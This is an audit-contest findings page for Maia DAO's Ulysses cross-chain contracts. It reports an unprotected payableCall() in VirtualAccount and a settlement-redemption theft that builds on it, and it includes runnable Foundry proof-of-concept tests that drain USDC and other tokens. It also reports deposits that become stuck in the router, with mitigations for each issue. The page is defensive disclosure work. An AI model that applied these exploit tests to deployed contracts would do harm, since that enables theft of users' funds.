Maia DAO - Ulysses - 0xfuje's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85-L108

Vulnerability details

Impact

ERC20 and ERC721 funds can be stolen from any user's VirtualAccount

Description

VirtualAccount.sol - payableCall() can be called by anyone, unlike the call() function in the same contract protected by requiresApprovedCaller(). Anyone can transfer out ERC20, ERC721, ERC1155 funds from VirtualAccount by simply calling the transfer() function on the token contracts the virtual account holds via payableCall() (and 0 as msg.value to call non-payable functions). Additionally the attacker can also approve themselves to spend future funds of VirtualAccount.

src/VirtualAccount.sol - payableCall()

	function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
	    uint256 valAccumulator;
	    uint256 length = calls.length;
	    returnData = new bytes[](length);
	    PayableCall calldata _call;
	    for (uint256 i = 0; i < length;) {
	        _call = calls[i];
	        uint256 val = _call.value;
	        // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
	        // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
	        unchecked {
	            valAccumulator += val;
	        }

	        bool success;

	        if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);

	        if (!success) revert CallFailed();

	        unchecked {
	            ++i;
	        }
	    }
	}

Proof of Concept

The PoC is a fork test on Arbitrum with USDC

1. navigate to test/ulysses-omnichain/ and create a new file named VirtualAccount.t.sol
2. make sure your .env is setup and have a valid INFURA_API_KEY and ARBITRUM_RPC_URL vars
3. copy and paste the below code into VirtualAccount.t.sol
4. run forge test --match-test testVirtualAccountTransferOut -vvvv
5. run forge test --match-test testVirtualAccountApproveOut -vvvv

pragma solidity ^0.8.16;

import "./helpers/ImportHelper.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {VirtualAccount, PayableCall} from "../../src/VirtualAccount.sol";

contract VirtualAccountTest is Test {
    VirtualAccount userVirtualAcc;
    address userAddress = address(0x09);
    address fakeRouter = address(0x08);
    address attacker = address(0x07);

    string INFURA_API_KEY = vm.envString("INFURA_API_KEY");
    string ARB_RPC_URL = vm.envString("ARBITRUM_RPC_URL");
    string RPC = string.concat(ARB_RPC_URL, INFURA_API_KEY);

    IERC20 USDC = IERC20(address(0xaf88d065e77c8cC2239327C5EDb3A432268e5831));

    function setUp() public {
        vm.createSelectFork(RPC);
        userVirtualAcc = new VirtualAccount(userAddress, fakeRouter);
        // user sends 100_000 USDC to his virtualAccount to interact with Ulysess
        deal(address(USDC), userAddress, 100_000 * 1e18);
    }

    function testVirtualAccountTransferOut() public {
        // 1. user transfers their funds to their virtual account
        vm.prank(userAddress);
        USDC.transfer(address(userVirtualAcc), 100_000 * 1e18);

        assertEq(USDC.balanceOf(address(userVirtualAcc)), 100_000 * 1e18);
        assertEq(USDC.balanceOf(attacker), 0);

        vm.startPrank(attacker);

        PayableCall[] memory calls = new PayableCall[](2);

        calls[0] = PayableCall({
            target: address(USDC),
            callData: abi.encodeWithSelector(IERC20.transfer.selector, attacker, 100_000 * 1e18),
            value: 0
        });
        calls[1] = PayableCall({
            target: address(USDC),
            callData: abi.encodeWithSelector(IERC20.approve.selector, attacker, type(uint256).max),
            value: 0
        });

        // 2. attacker transfer funds out of VirtualAccount and approves themselves to spend future funds
        userVirtualAcc.payableCall{value: 0}(calls);

        // 3. attacker has all of virtual account's funds
        assertEq(USDC.balanceOf(address(userVirtualAcc)), 0);
        assertEq(USDC.balanceOf(attacker), 100_000 * 1e18);
    }

    function testVirtualAccountApproveOut() public {
        // 1. user transfers in USDC funds to their VirtualAccount
        vm.prank(userAddress);
        USDC.transfer(address(userVirtualAcc), 50_000 * 1e18);

        vm.startPrank(attacker);

        PayableCall[] memory calls = new PayableCall[](1);

        calls[0] = PayableCall({
            target: address(USDC),
            callData: abi.encodeWithSelector(IERC20.approve.selector, attacker, type(uint256).max),
            value: 0
        });

        // 2. attacker approves max uint256 funds to spend from virtual account
        userVirtualAcc.payableCall{value: 0}(calls);

        // 3. attacker transfer to themselves
        USDC.transferFrom(address(userVirtualAcc), attacker, 50_000 * 1e18);
        vm.stopPrank();

        // 4. user sends funds in again
        vm.prank(userAddress);
        USDC.transfer(address(userVirtualAcc), 50_000 * 1e18);

        // 5. attacker monitors when funds are sent in and withdraws immediately
        vm.prank(attacker);
        USDC.transferFrom(address(userVirtualAcc), attacker, 50_000 * 1e18);

        // 6. attacker has all of virtual account's funds
        assertEq(USDC.balanceOf(address(userVirtualAcc)), 0);
        assertEq(USDC.balanceOf(attacker), 100_000 * 1e18);
    }
}

Tools Used

Manual review, Foundry Fork tests

Recommended Mitigation Steps

Use the requiredApprovedCaller() modifier on payableCall() to only allow the user address owning the virtual account and the approved router to call the function

	modifier requiresApprovedCaller() {
        if (!IRootPort(localPortAddress).isRouterApproved(this, msg.sender)) {
            if (msg.sender != userAddress) {
                revert UnauthorizedCaller();
            }
        }
        _;
    }

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L311-L315 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L328-L329 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L350-L366

Vulnerability details

Impact

Funds from failed settlement can be redeemed and stolen by an attacker

Description

Summary

Failed settlements can be redeemed in RootBridgeAgent - redeemSettlement will send tokens to the msg.sender and cancel the settlement on Branch. An attacker can redeem a failed settlement and steal user funds by bypassing access control in redeemSettlement using the user's VirtualAccount with payableCall() (which has no access control).

Weakness

1 - payableCall() The most apparent weakness that allows the exploit is the lack of access control in VirtualAccount.sol - payableCall() unlike call() that is protected by the requiredApprovedCaller() modifier

src/VirtualAccount.sol - payableCall() - (simplified snippet)

    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
        ...
        ...
        for (uint256 i = 0; i < length;) {
            ...
            if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);
            ++i;
        }
        ...
    }

---

2 - fetchVirtualAccount() Anyone can create virtual accounts for anyone via calling fetchVirtualAccount() on RootPort and input the desired user's address

src/RootPort.sol - fetchVirtualAccount() & addVirtualAccount()

    function fetchVirtualAccount(address _user) external override returns (VirtualAccount account) {
        account = getUserAccount[_user];
        if (address(account) == address(0)) account = addVirtualAccount(_user);
    }

    /**
     * @notice Creates a new virtual account for a user.
     * @param _user address of the user to associate a virtual account with.
     */
    function addVirtualAccount(address _user) internal returns (VirtualAccount newAccount) {
        if (_user == address(0)) revert InvalidUserAddress();

        newAccount = new VirtualAccount{salt: keccak256(abi.encode(_user))}(_user, address(this));
        getUserAccount[_user] = newAccount;

        emit VirtualAccountCreated(_user, address(newAccount));
    }

---

3 - redeemSettlement() While redeeming a failed settlement via RootBridgeAgent - redeemSettlement() it allows to redeem as the VirtualAccount of the user. The function sends the tokens to msg.sender, not the settlement owner, which can be the virtual account.

src/RootBridgeAgent.sol - redeemSettlement() - (simplified code snippet)

function redeemSettlement(uint32 _settlementNonce) external override lock {
        ...
        // Check if Settlement Owner is msg.sender or msg.sender is the virtual account of the settlement owner.
        if (msg.sender != settlementOwner) {
            if (msg.sender != address(IPort(localPortAddress).getUserAccount(settlementOwner))) {
                revert NotSettlementOwner();
            }
        }
		...
        // Clear Global hTokens To Recipient on Root Chain cancelling Settlement to Branch
        for (uint256 i = 0; i < settlement.hTokens.length;) {
		      ...
		        IPort(localPortAddress).bridgeToRoot(
                    msg.sender,
                    IPort(localPortAddress).getGlobalTokenFromLocal(_hToken, _dstChainId),
                    settlement.amounts[i],
                    settlement.deposits[i],
                    _dstChainId
                );
            }

            unchecked {
                ++i;
            }
        }

        // Delete Settlement
        delete getSettlement[_settlementNonce];
    }

Proof of Concept

1. navigate to src/ulysess-omnichain/RootForkTest.t.sol
2. import a few contracts in the top of the file:

import {VirtualAccount, PayableCall} from "@omni/VirtualAccount.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract RootForkTest is LzForkTest {
	...

1. copy and paste the below test inside the contract and run forge test --match-test testRedeemSettlementSteal -vvvv

function testRedeemSettlementSteal() public {
        //Set up
        testRetrySettlementTriggerFallback();
        address user = address(this);
        address attacker = vm.addr(666);

        assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(user), 0);
        assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker), 0);

        vm.prank(attacker);
        VirtualAccount userVA = rootPort.fetchVirtualAccount(user);

        PayableCall[] memory calls = new PayableCall[](2);
        calls[0] = PayableCall({
            target: address(multicallRootBridgeAgent),
            callData: abi.encodeWithSelector(RootBridgeAgent.redeemSettlement.selector, prevNonceRoot - 1),
            value: 0
        });
        calls[1] = PayableCall({
            target: address(newAvaxAssetGlobalAddress),
            callData: abi.encodeWithSelector(ERC20.transfer.selector, attacker, 99 * 1e18),
            value: 0
        });

        vm.prank(attacker);
        userVA.payableCall{value: 0}(calls);

        assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(user), 0);
        assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(address(userVA)), 0);
        assertEq(MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker), 99 ether);
    }

Tools Used

Manual review, Foundry Tests

Recommended Mitigation Steps

Use the requiredApprovedCaller() modifier on payableCall() in VirtualAccount.sol to only allow the user address owning the virtual account and the approved router to call the function. Consider restricting redeemSettlement to be only be callable by the settlement owner OR transfer the funds only to the settlement owner. Additionally consider to only allow RootBridgeAgent and the user to create virtual accounts in RootPort - fetchVirtualAccount() / addVirtualAccount().

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L507 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgentExecutor.sol#L97 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgentExecutor.sol#L245 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L378 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L277

Vulnerability details

Impact

User funds are stuck in the router without any way to recover them

Description

Execution Trace

1. user initiates a deposit via BranchBridgeAgent.sol - callOutAndBridge()
2. tokens are transferred to BranchPort.sol via _createDeposit -> BranchPort.bridgeOut()
3. message sent to LayerZero endpoint -> message received by RootBridgeAgent.sol - lzReceive() ->
4. RootBridgeAgent.sol - lzReceiveNonBlocking() -> payload[0] == 0x02 ->
5. RootBridgeAgentExecutor.sol - executeWithDeposit() is called with localRouterAddress as first param
6. RootBridgeAgentExecutor.sol -> _bridgeIn(router) -> RootBridgeAgent.sol - bridgeIn(router) ->
7. RootBridgeAgent.sol - bridgeIn() will call RootPort.bridgeToRoot(recipient) with router as recipient
8. RootPort.bridgeToRoot() sends (and / or) mints the tokens to recipient aka localRouterAddress
9. There is no clear way to recover funds from the router for the user

Note: callOutAndBridgeMultiple() -> 0x03 -> executeWithDepositMultiple() has the same exact issue

Description

The problem is that the sender should receive the funds, not MulticallRootRouter.sol that can't and is not expected to handle those funds. The below snippets follow the flow of execution to prove that router receives the funds.

src/RootBridgeAgent.sol - lzReceivenNonBlocking() - 0x02 payload

        } else if (_payload[0] == 0x02) {
            ...
            // Flag 2 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeWithDeposit(localRouterAddress, _payload, _srcChainId)
            _execute(
                nonce,
                abi.encodeWithSelector( //@audit localRouterAddress should be the sender
                    RootBridgeAgentExecutor.executeWithDeposit.selector, localRouterAddress, _payload, srcChainId
                ),
                srcChainId
            );

src/RootBridgeAgentExecutor.sol - executeWithDeposit()

    function executeWithDeposit(address _router, bytes calldata _payload, uint16 _srcChainId)
        external
        payable
        onlyOwner
    {
        ...
        // Bridge In Assets
        _bridgeIn(_router, dParams, _srcChainId); // @audit receipient of funds will be router

        // Check if there is additional calldata in the payload
        if (_payload.length > PARAMS_TKN_SET_SIZE) {
            //Execute remote request
            IRouter(_router).executeDepositSingle{value: msg.value}(
                _payload[PARAMS_TKN_SET_SIZE:], dParams, _srcChainId
            );
        }
    }

src/RootBridgeAgentExecutor.sol - _bridgeIn()

    function _bridgeIn(address _recipient, DepositParams memory _dParams, uint16 _srcChainId) internal {
        // @audit _recipient is router, but should be sender
        RootBridgeAgent(payable(msg.sender)).bridgeIn(_recipient, _dParams, _srcChainId);
    }	

src/RootBridgeAgent.sol - bridgeIn()

    function bridgeIn(address _recipient, DepositParams memory _dParams, uint256 _srcChainId)
        public
        override
        requiresAgentExecutor
    {
        ...
        // Move hTokens from Branch to Root + Mint Sufficient hTokens to match new port deposit
        IPort(_localPortAddress).bridgeToRoot(
            _recipient, // @audit sends and mints tokens to router, not the sender
            IPort(_localPortAddress).getGlobalTokenFromLocal(_dParams.hToken, _srcChainId),
            _dParams.amount,
            _dParams.deposit,
            _srcChainId
        );
    }

src/RootPort.sol - bridgetoRoot()

    function bridgeToRoot(address _recipient, address _hToken, uint256 _amount, uint256 _deposit, uint256 _srcChainId)
        external
        override
        requiresBridgeAgent
    { // @audit recipient is the router address
        if (!isGlobalAddress[_hToken]) revert UnrecognizedToken();

        if (_amount - _deposit > 0) {
            unchecked { // @audit amount transferred to router
                _hToken.safeTransfer(_recipient, _amount - _deposit);
            }
        }
		// @audit amount minted to router
        if (_deposit > 0) if (!ERC20hTokenRoot(_hToken).mint(_recipient, _deposit, _srcChainId)) revert UnableToMint();
    }

Additional calldata will revert

Only in the case of a custom deployment with a custom router where there would be additional calldata provided can the the router receive and handle the funds, overriding the below functions, which is not expected on the initial deployments.

src/MulticallRootRouter.sol - executeDepositSingle()

    function executeDepositSingle(bytes calldata, DepositParams calldata, uint16) external payable override {
        revert();
    }

    ///@inheritdoc IRootRouter

    function executeDepositMultiple(bytes calldata, DepositMultipleParams calldata, uint16) external payable {
        revert();
    }

Tools Used

Manual review

Recommended Mitigation Steps

Use the same pattern as with signed transactions as default behaviour (without fetching virtual accounts)

1. The payload sent from BranchBridgeAgent - callOutAndBridge(), callOutAndBridgeMultiple() should include the msg.sender address
2. RootBridgeAgent should decode the msg.sender in lzReceiveNonBlocking - 0x02 and 0x03 cases and send it to the executor as the first param, router being the second one
3. RootBridgeAgentExecutor - executeWithDeposit(), executeWithDepositMultiple should have 4 params with the first one being the decoded address that will be used in _bridgeIn() instead of _router.
4. bridgeIn() of RootBridgeAgent will call bridgeToRoot() with the sender's address, sending and minting tokens to the sender, not the router

Assessed type

Other